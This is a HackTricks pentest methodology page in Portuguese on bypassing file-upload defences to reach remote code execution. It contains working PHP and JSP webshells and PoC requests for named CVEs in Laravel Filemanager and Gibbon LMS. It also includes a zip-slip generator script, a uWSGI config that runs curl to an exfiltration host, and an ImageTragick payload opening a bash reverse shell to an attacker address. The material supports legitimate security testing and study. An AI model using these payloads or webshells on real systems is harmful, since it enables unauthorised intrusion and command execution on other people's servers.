Upload de Arquivos

Reading time: 28 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Metodologia Geral de Upload de Arquivos

Outras extensĂ”es Ășteis:

  • PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
  • Working in PHPv8: .php, .php4, .php5, .phtml_, .module_, .inc_, .hphp_, .ctp_
  • ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
  • Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
  • Coldfusion: .cfm, .cfml, .cfc, .dbm
  • Flash: .swf
  • Perl: .pl, .cgi
  • Erlang Yaws Web Server: .yaws

Bypass das verificaçÔes de extensÔes de arquivo

  1. Se se aplicarem, verifique as extensĂ”es anteriores. Teste-as tambĂ©m usando algumas letras maiĂșsculas: pHp, .pHP5, .PhAr ...
  2. Verifique adicionar uma extensão vålida antes da extensão de execução (use também as extensÔes anteriores):
  • file.png.php
  • file.png.Php5
  1. Tente adicionar caracteres especiais no final. VocĂȘ pode usar o Burp para bruteforce todos os caracteres ascii e Unicode. (Observe que vocĂȘ tambĂ©m pode tentar usar as extensĂ”es mencionadas anteriormente)
  • file.php%20
  • file.php%0a
  • file.php%00
  • file.php%0d%0a
  • file.php/
  • file.php.\
  • file.
  • file.php....
  • file.pHp5....
  1. Tente contornar as proteçÔes enganando o parser de extensĂ”es do lado do servidor com tĂ©cnicas como duplicar a extensĂŁo ou adicionar dados lixo (bytes null) entre as extensĂ”es. VocĂȘ tambĂ©m pode usar as extensĂ”es anteriores para preparar um payload melhor.
  • file.png.php
  • file.png.pHp5
  • file.php#.png
  • file.php%00.png
  • file.php\x00.png
  • file.php%0a.png
  • file.php%0d%0a.png
  • file.phpJunk123png
  1. Adicione outra camada de extensÔes ao teste anterior:
  • file.png.jpg.php
  • file.php%00.png%00.jpg
  1. Tente colocar a extensĂŁo de execução antes da extensĂŁo vĂĄlida e torça para que o servidor esteja mal configurado. (Ăștil para explorar misconfiguraçÔes do Apache onde qualquer coisa com extensĂŁo .php, mas nĂŁo necessariamente terminando em .php, executarĂĄ cĂłdigo):
  • ex: file.php.png
  1. Uso do NTFS alternate data stream (ADS) no Windows. Neste caso, um caractere dois-pontos ":" serĂĄ inserido apĂłs uma extensĂŁo proibida e antes de uma permitida. Como resultado, um arquivo vazio com a extensĂŁo proibida serĂĄ criado no servidor (ex.: "file.asax:.jpg”). Esse arquivo pode ser editado depois usando outras tĂ©cnicas, como usar seu nome curto. O padrĂŁo "::$data” tambĂ©m pode ser usado para criar arquivos nĂŁo vazios. Portanto, adicionar um ponto apĂłs esse padrĂŁo pode ser Ăștil para contornar restriçÔes adicionais (ex.: "file.asp::$data.”)
  2. Tente ultrapassar os limites de nome de arquivo. A extensĂŁo vĂĄlida Ă© cortada. E o PHP malicioso permanece. AAA<--SNIP-->AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png

UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546

Alguns handlers de upload cortam ou normalizam caracteres de ponto finais do nome de arquivo salvo. No UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) em versĂ”es anteriores Ă  2.9.1, vocĂȘ pode contornar a validação de extensĂ”es mediante:

  • Usar um MIME de imagem vĂĄlido e header mĂĄgico (por exemplo, o PNG \x89PNG\r\n\x1a\n).
  • Nomear o arquivo enviado com uma extensĂŁo PHP seguida por um ponto, ex.: shell.php.

O servidor remove o ponto final e persiste shell.php, que serĂĄ executado se for colocado em um diretĂłrio servido pela web (armazenamento pĂșblico padrĂŁo como /storage/files/).

PoC mĂ­nimo (Burp Repeater):

http
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png

\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--

EntĂŁo acesse o caminho salvo (tĂ­pico em Laravel + LFM):

GET /storage/files/0xdf.php?cmd=id

Bypass Content-Type, Magic Number, Compression & Resizing

  • Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
  1. Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
  • Bypass magic number check adicionando no inĂ­cio do arquivo os bytes de uma imagem real (confunde o comando file). Ou introduza o shell dentro dos metadata:
    exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
    \ ou vocĂȘ tambĂ©m pode introduzir o payload diretamente em uma imagem:
    echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
  • Se compressions is being added to your image, por exemplo usando bibliotecas PHP padrĂŁo como PHP-GD, as tĂ©cnicas anteriores nĂŁo serĂŁo Ășteis. Entretanto, vocĂȘ pode usar o PLTE chunk technique defined here para inserir texto que sobreviva Ă  compressĂŁo.
  • Github with the code
  • A pĂĄgina web tambĂ©m pode estar resizing a image, usando por exemplo as funçÔes PHP-GD imagecopyresized ou imagecopyresampled. No entanto, vocĂȘ pode usar o IDAT chunk technique defined here para inserir texto que sobreviva Ă  compressĂŁo.
  • Github with the code
  • Outra tĂ©cnica para criar um payload que sobrevive a um redimensionamento de imagem, usando a função PHP-GD thumbnailImage. Entretanto, vocĂȘ pode usar o tEXt chunk technique defined here para inserir texto que sobreviva Ă  compressĂŁo.
  • Github with the code

Other Tricks to check

  • Encontre uma vulnerabilidade para rename o arquivo jĂĄ enviado (para mudar a extensĂŁo).
  • Encontre uma vulnerabilidade de Local File Inclusion para executar o backdoor.
  • PossĂ­vel disclosure de informação:
  1. Faça upload vårias vezes (e ao mesmo tempo) do mesmo arquivo com o mesmo nome
  2. Faça upload de um arquivo com o nome de um arquivo ou pasta que jå existe
  3. Fazer upload de um arquivo com "." , "..", or "
" como nome. Por exemplo, no Apache no Windows, se a aplicação salvar os arquivos enviados em "/www/uploads/" diretório, o filename "." criará um arquivo chamado uploads” em "/www/".
  4. Fazer upload de um arquivo que pode não ser deletado facilmente como "
:.jpg" em NTFS. (Windows)
  5. Fazer upload de um arquivo no Windows com caracteres inválidos como |<>*?” no nome. (Windows)
  6. Fazer upload de um arquivo no Windows usando nomes reservados (proibidos) como CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
  • Tente tambĂ©m fazer upload de um executĂĄvel (.exe) ou um .html (menos suspeito) que executarĂĄ cĂłdigo quando aberto acidentalmente pela vĂ­tima.

Special extension tricks

Se vocĂȘ estĂĄ tentando enviar arquivos para um PHP server, dĂȘ uma olhada no .htaccess trick para executar cĂłdigo.
Se vocĂȘ estĂĄ tentando enviar arquivos para um ASP server, dĂȘ uma olhada no .config trick para executar cĂłdigo.

Os arquivos .phar sĂŁo como os .jar para java, mas para php, e podem ser usados como um arquivo php (executando-o com php, ou incluindo-o dentro de um script...)

A extensão .inc às vezes é usada para arquivos php que são apenas usados para importar arquivos, então, em algum momento, alguém pode ter permitido essa extensão ser executada.

Jetty RCE

Se vocĂȘ conseguir enviar um arquivo XML para um servidor Jetty vocĂȘ pode obter RCE porque **novos .xml and .war sĂŁo processados automaticamente. EntĂŁo, como mencionado na imagem a seguir, envie o arquivo XML para $JETTY_BASE/webapps/ e espere a shell!

https://twitter.com/ptswarm/status/1555184661751648256/photo/1

uWSGI RCE

Para uma exploração detalhada dessa vulnerabilidade confira a pesquisa original: uWSGI RCE Exploitation.

Vulnerabilidades de Remote Command Execution (RCE) podem ser exploradas em servidores uWSGI se alguĂ©m tiver a capacidade de modificar o arquivo de configuração .ini. Os arquivos de configuração do uWSGI utilizam uma sintaxe especĂ­fica para incorporar variĂĄveis "mĂĄgicas", placeholders e operadores. Notavelmente, o operador '@', utilizado como @(filename), Ă© projetado para incluir o conteĂșdo de um arquivo. Entre os vĂĄrios schemes suportados no uWSGI, o scheme "exec" Ă© particularmente potente, permitindo a leitura de dados a partir do stdout de um processo. Essa funcionalidade pode ser manipulada para fins maliciosos, como Remote Command Execution ou Arbitrary File Write/Read quando um arquivo de configuração .ini Ă© processado.

Considere o seguinte exemplo de um arquivo uwsgi.ini malicioso, demonstrando vĂĄrios schemes:

ini
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)

A execução do payload ocorre durante o parsing do arquivo de configuração. Para que a configuração seja ativada e parseada, o processo uWSGI deve ser reiniciado (potencialmente após um crash ou devido a um ataque de Denial of Service) ou o arquivo deve estar configurado para auto-reload. A feature auto-reload, se habilitada, recarrega o arquivo em intervalos especificados ao detectar alteraçÔes.

É crucial entender a natureza permissiva do parsing do arquivo de configuração do uWSGI. Especificamente, o payload discutido pode ser inserido em um arquivo binário (como uma imagem ou PDF), ampliando ainda mais o escopo de exploração potencial.

Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)

Um endpoint não autenticado no Gibbon LMS permite arbitrary file write dentro do web root, levando a pre-auth RCE ao enviar um arquivo PHP. VersÔes vulneråveis: até e incluindo 25.0.01.

  • Endpoint: /Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php
  • MĂ©todo: POST
  • ParĂąmetros necessĂĄrios:
  • img: data-URI-like string: [mime];[name],[base64] (o servidor ignora type/name, e base64-decodes a parte final)
  • path: destination filename relative to Gibbon install dir (e.g., poc.php or 0xdf.php)
  • gibbonPersonID: any non-empty value is accepted (e.g., 0000000001)

PoC mĂ­nimo para escrever e ler um arquivo:

bash
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK

# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'

# Verify write
curl http://target/Gibbon-LMS/poc.php

Implante um webshell mĂ­nimo e execute comandos:

bash
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==

curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'

curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'

Notes:

  • O handler executa base64_decode($_POST["img"]) apĂłs separar por ; e ,, entĂŁo escreve os bytes em $absolutePath . '/' . $_POST['path'] sem validar extensĂŁo/tipo.
  • O cĂłdigo resultante roda como o usuĂĄrio do serviço web (por exemplo, XAMPP Apache on Windows).

References for this bug include the usd HeroLab advisory and the NVD entry. See the References section below.

wget File Upload/SSRF Trick

In some occasions you may find that a server is using wget to download files and you can indicate the URL. In these cases, the code may be checking that the extension of the downloaded files is inside a whitelist to assure that only allowed files are going to be downloaded. However, this check can be bypassed.
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called "A"*232+".php"+".gif", this filename will bypass the check (as in this example ".gif" is a valid extension) but wget will rename the file to "A"*232+".php".

bash
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
bash
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06--  http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’

AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>]      10  --.-KB/s    in 0s

2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]

Observe que outra opção que vocĂȘ pode estar pensando para contornar essa verificação Ă© fazer com que o servidor HTTP redirecione para um arquivo diferente, assim a URL inicial vai passar pela verificação e entĂŁo o wget irĂĄ baixar o arquivo redirecionado com o novo nome. Isso nĂŁo funcionarĂĄ a menos que o wget esteja sendo usado com o parĂąmetro --trust-server-names porque o wget baixarĂĄ a pĂĄgina redirecionada com o nome do arquivo indicado na URL original.

EvasĂŁo do diretĂłrio de upload via NTFS junctions (Windows)

(Para esse ataque vocĂȘ precisarĂĄ de acesso local Ă  mĂĄquina Windows) Quando os uploads sĂŁo armazenados em subpastas por usuĂĄrio no Windows (e.g., C:\Windows\Tasks\Uploads<id>) e vocĂȘ controla a criação/remoção dessa subpasta, vocĂȘ pode substituĂ­-la por uma NTFS junction apontando para um local sensĂ­vel (e.g., o webroot). Uploads subsequentes serĂŁo gravados no caminho de destino, permitindo execução de cĂłdigo se o alvo interpretar cĂłdigo server‑side.

Exemplo de fluxo para redirecionar uploads para o webroot do XAMPP:

cmd
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
::    Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882

:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs

:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
::    Minimal PHP webshell for testing
::    <?php echo shell_exec($_REQUEST['cmd']); ?>

:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"

Notas

  • mklink /J creates an NTFS directory junction (reparse point). A conta do servidor web deve seguir a junction e ter permissĂŁo de escrita no destino.
  • Isto redireciona gravaçÔes arbitrĂĄrias de arquivos; se o destino executar scripts (PHP/ASP), isso se torna RCE.
  • Defesas: nĂŁo permita que raĂ­zes de upload gravĂĄveis sejam controlĂĄveis por um atacante sob C:\Windows\Tasks ou similar; bloquear a criação de junctions; validar extensĂ”es no lado do servidor; armazenar uploads em um volume separado ou com deny‑execute ACLs.

GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)

Alguns upload/ingest handlers escrevem o body bruto da requisição em um caminho do sistema de arquivos que Ă© construĂ­do a partir de parĂąmetros de query controlados pelo usuĂĄrio. Se o handler tambĂ©m suporta Content-Encoding: gzip e falha em canonicalizar/validar o destination path, vocĂȘ pode combinar directory traversal com um payload gzipped para gravar bytes arbitrĂĄrios em um diretĂłrio servido pela web e obter RCE (por exemplo, dropar um JSP sob o webapps do Tomcat).

Fluxo genérico de exploração:

  • Prepare seu payload server-side (por exemplo, um JSP webshell minimal) e comprima os bytes com gzip.
  • Envie um POST onde um parĂąmetro de caminho (por exemplo, token) contĂ©m path traversal escapando da pasta pretendida, e file indica o nome do arquivo a persistir. Defina Content-Type: application/octet-stream e Content-Encoding: gzip; o body Ă© o payload comprimido.
  • Acesse o arquivo escrito para disparar a execução.

Requisição ilustrativa:

http
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>

<gzip-compressed-bytes-of-your-jsp>

EntĂŁo acione:

http
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target

Notas

  • Target paths vary by install (e.g., /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ in some stacks). Any web-exposed folder that executes JSP will work.
  • A extensĂŁo Hackvertor do Burp Suite pode produzir um corpo gzip correto a partir do seu payload.
  • Este Ă© um padrĂŁo puramente pre-auth arbitrary file write → RCE; ele nĂŁo depende de multipart parsing.

MitigaçÔes

  • Determine os destinos de upload no lado do servidor; nunca confie em fragmentos de caminho vindos dos clientes.
  • Canonicalize e garanta que o caminho resolvido permaneça dentro de um diretĂłrio base allow-listed.
  • Armazene uploads em um volume nĂŁo-executĂĄvel e negue execução de scripts a partir de caminhos gravĂĄveis.

Ferramentas

  • Upload Bypass Ă© uma ferramenta poderosa projetada para ajudar Pentesters e Bug Hunters a testar mecanismos de file upload. Ela aproveita vĂĄrias tĂ©cnicas de bug bounty para simplificar o processo de identificação e exploração de vulnerabilidades, garantindo avaliaçÔes completas de aplicaçÔes web.

Corrompendo upload indices com snprintf quirks (historical)

Alguns handlers de upload legados que usam snprintf() ou similar para construir arrays multi-file a partir de um upload single-file podem ser enganados a forjar a estrutura _FILES. Devido a inconsistĂȘncias e truncamento no comportamento de snprintf(), um upload cuidadosamente criado pode aparecer como mĂșltiplos arquivos indexados no lado do servidor, confundindo lĂłgica que assume uma forma estrita (por exemplo, tratando como um upload multi-file e seguindo ramos inseguros). Embora hoje em dia seja nicho, esse padrĂŁo de “index corruption” ocasionalmente reaparece em CTFs e codebases mais antigas.

From File upload to other vulnerabilities

Aqui estĂĄ uma lista top 10 de coisas que vocĂȘ pode conseguir enviando arquivos (from here):

  1. ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
  2. SVG: Stored XSS / SSRF / XXE
  3. GIF: Stored XSS / SSRF
  4. CSV: CSV injection
  5. XML: XXE
  6. AVI: LFI / SSRF
  7. HTML / JS : HTML injection / XSS / Open redirect
  8. PNG / JPEG: Pixel flood attack (DoS)
  9. ZIP: RCE via LFI / DoS
  10. PDF / PPTX: SSRF / BLIND XXE

Burp Extension

GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy

Bytes Mågicos de Cabeçalho

  • PNG: "\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03["
  • JPG: "\xff\xd8\xff"

Consulte https://en.wikipedia.org/wiki/List_of_file_signatures para outros tipos de arquivo.

Zip/Tar File Automatically decompressed Upload

Se vocĂȘ puder fazer upload de um ZIP que serĂĄ descomprimido dentro do servidor, vocĂȘ pode fazer 2 coisas:

Faça upload de um arquivo contendo soft links para outros arquivos; ao acessar os arquivos descomprimidos vocĂȘ acessarĂĄ os arquivos linkados:

ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt

Descompactar em pastas diferentes

A criação inesperada de arquivos em diretórios durante a descompressão é um problema significativo. Apesar das suposiçÔes iniciais de que essa configuração poderia impedir OS-level command execution por meio de malicious file uploads, o suporte a compressão hierårquica e as capacidades de directory traversal do formato de arquivo ZIP podem ser explorados. Isso permite que atacantes bypass restrictions e escapem dos secure upload directories ao manipular a funcionalidade de descompressão da aplicação alvo.

Um exploit automatizado para criar tais arquivos estĂĄ disponĂ­vel em evilarc on GitHub. A ferramenta pode ser usada como mostrado:

python
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php

Além disso, a symlink trick with evilarc é uma opção. Se o objetivo for direcionar um arquivo como /flag.txt, deve ser criado um symlink para esse arquivo no seu sistema. Isso assegura que evilarc não encontre erros durante sua operação.

Abaixo estĂĄ um exemplo de cĂłdigo Python usado para criar um arquivo zip malicioso:

python
#!/usr/bin/python
import zipfile
from io import BytesIO


def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()

create_zip()

Abusing compression for file spraying

Para mais detalhes veja a postagem original em: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/

  1. Criando um PHP Shell: Código PHP é escrito para executar comandos passados através da variåvel $_REQUEST.
php
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
  1. File Spraying and Compressed File Creation: VĂĄrios arquivos sĂŁo criados e um zip Ă© montado contendo esses arquivos.
bash
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
  1. Modificação com um Hex Editor ou vi: Os nomes dos arquivos dentro do zip são alterados usando vi ou um editor hex, trocando "xxA" por "../" para percorrer diretórios.
bash
:set modifiable
:%s/xxA/../g
:x!

ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)

Quando um backend valida entradas ZIP usando o ZipArchive do PHP, mas a extração grava no filesystem usando nomes raw, vocĂȘ pode contrabandear uma extensĂŁo nĂŁo permitida inserindo um NUL (0x00) nos campos de filename. ZipArchive trata o nome da entrada como uma C‑string e trunca no primeiro NUL; o filesystem grava o nome completo, cortando tudo apĂłs o NUL.

High-level flow:

  • Prepare um arquivo container legĂ­timo (por ex., um PDF vĂĄlido) que incorpore um pequeno PHP stub em um stream para que o magic/MIME permaneça um PDF.
  • Nomeie-o como shell.php..pdf, zip it, entĂŁo hex‑edite o ZIP local header e o central directory filename para substituir o primeiro . apĂłs .php por 0x00, resultando em shell.php\x00.pdf.
  • Validadores que dependem do ZipArchive irĂŁo “ver” shell.php .pdf e permitir; o extractor grava shell.php no disco, levando a RCE se a pasta de upload for executĂĄvel.

Minimal PoC steps:

bash
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf

# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf

# 3) Hex-edit both the local header and central directory filename fields
#    Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
#    Tools: hexcurse, bless, bvi, wxHexEditor, etc.

# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)

Notas

  • Altere AMBAS as ocorrĂȘncias do filename (local e central directory). Algumas ferramentas adicionam tambĂ©m uma entrada extra de data descriptor — ajuste todos os campos name se presentes.
  • O arquivo payload ainda precisa passar pela verificação server‑side de magic/MIME. Incorporar o PHP em um PDF stream mantĂ©m o cabeçalho vĂĄlido.
  • Funciona quando o enum/validation path e o extraction/write path discordam no tratamento de strings.

ZIPs empilhados/concatenados (desacordo do parser)

Concatenar dois arquivos ZIP vĂĄlidos produz um blob onde diferentes parsers focam em diferentes registros EOCD. Muitas ferramentas localizam o Ășltimo End Of Central Directory (EOCD), enquanto algumas bibliotecas (por exemplo, ZipArchive em fluxos de trabalho especĂ­ficos) podem analisar o primeiro arquivo que encontrarem. Se a validação enumerar o primeiro arquivo e a extração usar outra ferramenta que respeite o Ășltimo EOCD, um arquivo benigno pode passar nas verificaçÔes enquanto um malicioso Ă© extraĂ­do.

PoC:

bash
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2

# Stack them
cat zip1.zip zip2.zip > combo.zip

# Different views
unzip -l combo.zip   # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'

PadrĂŁo de abuso

  • Crie um arquivo benigno (tipo permitido, por exemplo, um PDF) e um segundo arquivo contendo uma extensĂŁo bloqueada (por exemplo, shell.php).
  • Concatene-os: cat benign.zip evil.zip > combined.zip.
  • Se o servidor valida com um parser (vĂȘ benign.zip) mas extrai com outro (processa evil.zip), o arquivo bloqueado acaba no caminho de extração.

ImageTragic

Faça upload deste conteĂșdo com uma extensĂŁo de imagem para explorar a vulnerabilidade (ImageMagick , 7.0.1-1) (a partir do exploit)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

Incorporando PHP Shell em PNG

Incorporar um PHP Shell no chunk IDAT de um arquivo PNG pode efetivamente contornar certas operaçÔes de processamento de imagem. As funçÔes imagecopyresized e imagecopyresampled do PHP-GD são particularmente relevantes neste contexto, pois são comumente usadas para redimensionar e reamostrar imagens, respectivamente. A capacidade do PHP Shell embutido de permanecer inalterado por essas operaçÔes é uma vantagem significativa para certos casos de uso.

A exploração detalhada dessa técnica, incluindo sua metodologia e possíveis aplicaçÔes, é fornecida no seguinte artigo: "Encoding Web Shells in PNG IDAT chunks". Este recurso oferece uma compreensão abrangente do processo e de suas implicaçÔes.

More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

Polyglot Files

Arquivos polyglot servem como uma ferramenta Ășnica em segurança cibernĂ©tica, atuando como camaleĂ”es que podem existir validamente em mĂșltiplos formatos de arquivo simultaneamente. Um exemplo intrigante Ă© um GIFAR, um hĂ­brido que funciona tanto como GIF quanto como um arquivo RAR. Esses arquivos nĂŁo se limitam a esse pareamento; combinaçÔes como GIF e JS ou PPT e JS tambĂ©m sĂŁo viĂĄveis.

A utilidade central dos arquivos polyglot estĂĄ em sua capacidade de contornar medidas de segurança que filtram arquivos com base no tipo. A prĂĄtica comum em vĂĄrias aplicaçÔes envolve permitir apenas certos tipos de arquivo para upload — como JPEG, GIF ou DOC — para mitigar o risco apresentado por formatos potencialmente perigosos (por exemplo, JS, PHP ou arquivos Phar). No entanto, um polyglot, ao conformar-se aos critĂ©rios estruturais de mĂșltiplos tipos de arquivo, pode contornar essas restriçÔes furtivamente.

Apesar de sua adaptabilidade, os polyglots enfrentam limitaçÔes. Por exemplo, embora um polyglot possa simultaneamente incorporar um arquivo PHAR (PHp ARchive) e um JPEG, o sucesso do seu upload pode depender das políticas de extensão de arquivo da plataforma. Se o sistema for rigoroso quanto às extensÔes permitidas, a mera dualidade estrutural de um polyglot pode não ser suficiente para garantir seu envio.

More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a

Upload valid JSONs like if it was PDF

